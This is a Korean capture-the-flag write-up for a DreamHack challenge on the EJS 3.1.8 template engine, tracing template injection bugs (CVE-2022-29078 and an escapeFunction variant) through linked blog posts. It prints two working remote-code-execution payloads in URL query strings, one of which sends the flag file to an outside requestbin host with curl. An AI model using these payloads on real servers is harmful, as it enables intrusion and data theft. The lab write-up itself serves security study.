[DreamHack] ejs@3.1.8
https://dreamhack.io/wargame/challenges/675
로그인 | Dreamhack
dreamhack.io
일단 제목이 뭔지 궁금해서 구글링 먼저함.
ejs@3.1.8는 Node.js 환경에서 사용되는 Embedded JavaScript 템플릿 엔진이라고 함.
그리고 해당 3.1.8 버전은 SSTI 및 프로토타입 오염(Prototype Pollution) 취약점과 연관이 있는 버전이라고 함.
[분석 일기] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)
🚪 Intro 2022년 4월달에 nodejs 의 모듈인 EJS에서 RCE 취약점이 발견되었습니다. 맨 아래 Reference 에 있는 링크를 참고하여 어떻게 EJS에서 RCE가 가능한지를 분석해 봤습니다. 취약한 EJS 버전은 `3.1.6`
lactea.kr

음! 해당 포스팅에서 취약하다고 한 부분이

내가 가진 코드의 11번째 줄에도 있었음.
https://jueun-security.tistory.com/29
ejs 3.1.6 SSTI 취약점 (CVE-2022-29078)
CTF 웹 문제를 봐보면 ssti 취약점 문제가 생각보다 많다. ssti 문제들의 패키지 파일을 보면 ejs 3.1.6 이나 ejs 3.1.8 등등이 있는 것 같다. 그래서 한번 ejs 3.1.8을 찾아보려니 먼저 ejs 3.1.6 취약점을 공
jueun-security.tistory.com
이 부분의 최종 POC 코드를 참고해서 URL에 넣어봄.
http://host3.dreamhack.games:23267/?settings[view%20options][outputFunctionName]=a;process.mainModule.require(%27child_process%27).execSync(%27curl%20%22http://requestsbin/?$(cat%20/flag)%22%27);
근데 3.1.8에서는 패치된 취약점이래..
CVE-2022-29078(EJS SSTI, outputFunctionName 옵션 오염) 취약점
https://hg2lee.tistory.com/entry/CVE-2022-29078-ejs316-outputFunctionName-Injection-Vulnerability
CVE-2022-29078 ejs(3.1.6) - outputFunctionName Injection Vulnerability
Node.js의 EJS 템플릿 버전 3.1.6 에서 발생한 취약점으로, 해당 취약점은 SSTI -> RCE로 이어질 수 있는 고 위험군 취약점이다.사용자의 입력값이 data로 넘어 갈 때 settings['view options'][outputFunctionName]를
hg2lee.tistory.com
-> 이걸 이용해서 outputFunctionName 옵션에 임의 문자열을 주입해서 뚜루뚜루 진행해보려고 했는데 해당 POC 부터 막혀서 다른 것을 찾아봄..
더 찾아보니 3.1.8 버전 등에서 제기된 escapeFunction 및 프로토타입 오염(Prototype Pollution) 관련 취약점 (CVE-2024-33883) 이 있었음.
결국 outputFunctionName이 아니라 escapeFunction으로 해결해야 하는 문제였나봐.
ejs 3.1.6 ssti
ejs의 ssti 공격과 관련된 문제가 존재하였다. ejs@3.1.8 이 문제이다. 그렇기에 바로 cve를 보러 갔는데 다음과 같은 글을 보게 되었다.(https://github.com/mde/ejs/security) 상당히 놀라웠다. 에당초 대부분의
minpo.tistory.com
여기에 관련된 POC가 있길래 참고함.

?settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); c
